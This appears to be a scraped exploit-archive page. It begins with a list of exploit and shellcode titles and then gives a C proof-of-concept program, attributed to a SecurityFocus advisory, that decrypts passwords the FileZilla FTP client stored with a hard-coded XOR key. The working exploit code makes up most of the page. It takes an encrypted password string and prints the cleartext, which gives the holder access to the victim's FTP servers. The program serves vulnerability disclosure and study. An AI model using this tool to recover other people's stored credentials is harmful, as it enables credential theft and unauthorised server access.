
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
95 lines
No EOL
2.6 KiB
C
95 lines
No EOL
2.6 KiB
C
// source: https://www.securityfocus.com/bid/14730/info
|
|
|
|
FileZilla FTP client may allow local attackers to obtain user passwords and access remote servers.
|
|
|
|
The application uses a hard-coded cipher key to decrypt the password, which is stored in an XML file or the Windows Registry.
|
|
|
|
This can allow the attacker to gain access to an FTP server with the privileges of the victim.
|
|
|
|
*/
|
|
|
|
|
|
//Includes
|
|
#include <stdio.h>
|
|
#include <string.h>
|
|
#include <stdlib.h>
|
|
#include <windows.h>
|
|
|
|
//Macros
|
|
#define MAX_SIZE 150
|
|
#define SLEEP_TIME 5000
|
|
|
|
//Global variable (cypher key)
|
|
char *m_key = "FILEZILLA1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ";
|
|
|
|
|
|
//PRE: decimal values representing ASCII chars,
|
|
// every three digits becomes one ASCII char
|
|
// e.g.: 042040063063
|
|
//POST: ASCII chars are copied back to buff[]
|
|
// e.g.: *(??
|
|
// the length of the new string is returned
|
|
int digit2char(char buff[])
|
|
{
|
|
char tmp_buff[4], ascii_buff[MAX_SIZE];
|
|
unsigned int i=0, j=0, n=0, len=(strlen(buff)/3);
|
|
for(i=0,j=0;i<strlen(buff);i+=3,++j)
|
|
{
|
|
tmp_buff[0]=buff[i];
|
|
tmp_buff[1]=buff[i+1];
|
|
tmp_buff[2]=buff[i+2];
|
|
tmp_buff[3]='\0';
|
|
|
|
n=atoi(tmp_buff);
|
|
ascii_buff[j]=(char)n;
|
|
}
|
|
ascii_buff[j]='\0';
|
|
printf("ascii_buff:%s\n", ascii_buff);
|
|
strcpy(buff, ascii_buff);
|
|
|
|
return len;
|
|
}
|
|
|
|
//PRE: buffer containing ASCII chars of cypher
|
|
// (rather than their numberic ASCII value)
|
|
//POST:length of cleartext password is returned
|
|
unsigned int decrypt(char buff[])
|
|
{
|
|
unsigned int i, pos, len;
|
|
|
|
len=digit2char(buff);
|
|
pos=len%strlen(m_key);
|
|
|
|
for (i=0;i<len;i++)
|
|
buff[i]=buff[i]^m_key[(i+pos)%strlen(m_key)];
|
|
|
|
return len;
|
|
}
|
|
|
|
int main(void)
|
|
{
|
|
char cypher[MAX_SIZE];
|
|
unsigned int len=0,i=0;
|
|
|
|
printf("Enter cypher (encrypted password)\ne.g.:
|
|
120125125112000\n->");
|
|
scanf("%s", cypher);
|
|
if(strlen(cypher)%3==0)
|
|
{
|
|
len=decrypt(cypher);
|
|
printf("cleartext password:");
|
|
for(i=0;i<len;++i)
|
|
printf("%c",cypher[i]);
|
|
printf("\n");
|
|
}
|
|
else
|
|
{
|
|
printf("You didn't enter a valid cypher!\n");
|
|
printf("It should be a numeric value whose length is multiple of
|
|
3\n");
|
|
}
|
|
|
|
printf("Ending program in %d seconds...\n", SLEEP_TIME/1000);
|
|
Sleep(SLEEP_TIME);
|
|
return 0;
|
|
} |